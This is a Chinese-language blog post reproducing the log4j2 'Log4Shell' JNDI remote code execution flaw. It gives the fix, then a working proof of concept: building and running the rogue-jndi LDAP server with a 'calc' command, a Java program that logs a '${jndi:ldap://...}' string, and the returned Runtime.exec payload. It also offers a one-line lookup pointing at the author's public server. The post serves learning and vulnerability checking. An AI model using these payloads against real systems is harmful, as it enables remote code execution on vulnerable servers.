log4j2史诗级漏洞攻击重现
早上来到公司,就听到安全团队的同事说log4j2有个高危漏洞
起初并不是很在意,想着一个日志框架能有啥高危漏洞嘛
但是仔细一看,居然是远程执行命令的漏洞,上次看到这个名字还是struts2。。。
修复方法也很简单:升级log4j依赖版本到2.15.0
或者启动参数添加-Dlog4j2.formatMsgNoLookups=true并重启
好奇心驱使之下,向安全的同事请教了怎么重现这个漏洞,顺便记录一下,以便以后学习之用
参考文章:
https://mp.weixin.qq.com/s/l7iclJRegADs3oiEdcgAvQ
https://mp.weixin.qq.com/s/_qA3ZjbQrZl2vowikdPOIg
如果你只是想验证自己的log有没问题,那可以不用往下看了,直接本地运行:
log.info("${jndi:ldap://1.117.178.115:1389/o=tomcat}");
(个人的腾讯云服务器,不保证永久有效)
如果会像这样弹出计算器程序,那就说明有问题了
1、本地启动ldap服务
https://github.com/veracode-research/rogue-jndi
下载这个链接的源码进行编译
mvn package -DskipTests
启动命令:
#这里172.19.60.23是我本地的ip
java -jar target/RogueJndi-1.1.jar -c "calc" -n 172.19.60.23
2、编写log4j程序并运行
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Log4jTest {
private static final Logger LOGGER = LogManager.getLogger();
public static void main(String... args) {
LOGGER.info("${jndi:ldap://172.19.60.23:1389/o=tomcat}");
}
}
依赖引入:
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter</artifactId>
<exclusions>
<exclusion>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-logging</artifactId>
</exclusion>
</exclusions>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-log4j2</artifactId>
</dependency>
注意依赖的引入很关键,我本地是用的spring boot,但是因为spring boot默认是用的logback,所以没法重现。
需要排除掉spring-boot-starter-logging依赖,然后添加spring-boot-starter-log4j2依赖。
这个漏洞在2.15.0已经修复,所以log4j-core的版本要低于2.15.0。
这么一想,这个漏洞好像也没那么严重的
运行以后本地弹出计算器程序,顺利重现
3、大致原理分析
${jndi:ldap://172.19.60.23:1389/o=tomcat}
这段日志的打印会触发ldap服务请求
这个请求会返回:
{"".getClass().forName(“javax.script.ScriptEngineManager”).newInstance().getEngineByName(“JavaScript”).eval(“java.lang.Runtime.getRuntime().exec(String.fromCharCode(99,97,108,99))”)}
代码在rogue-jndi这个工程的artsploit.controllers.Tomcat中:
java.lang.Runtime.getRuntime().exec(${command})
这段代码最终会被执行,从而触发远程命令执行
至于这段代码为啥会被执行,需要去啃log4j的源码,大致看了下还挺复杂
关键代码记录如下:
MessagePatternConverter类的format方法:
StrSubstitutor的resolveVariable方法
JndiLookup的lookup方法:
JndiManager的luukup方法:
ldapURLContext的lookup方法:
到这里其实就是jdk的代码了,后面的代码很难看,大致逻辑就是去请求172.19.60.23:1389/o=tomcat这个接口,拿到上面那段payload,然后通过ClasLoader去加载javax.el.ELProcessor,并通过反射执行下面这段代码:
{
"".getClass()
.forName("javax.script.ScriptEngineManager")
.newInstance()
.getEngineByName("JavaScript")
.eval("java.lang.Runtime.getRuntime()
.exec(String.fromCharCode(99,97,108,99))")
}
部分代码截图: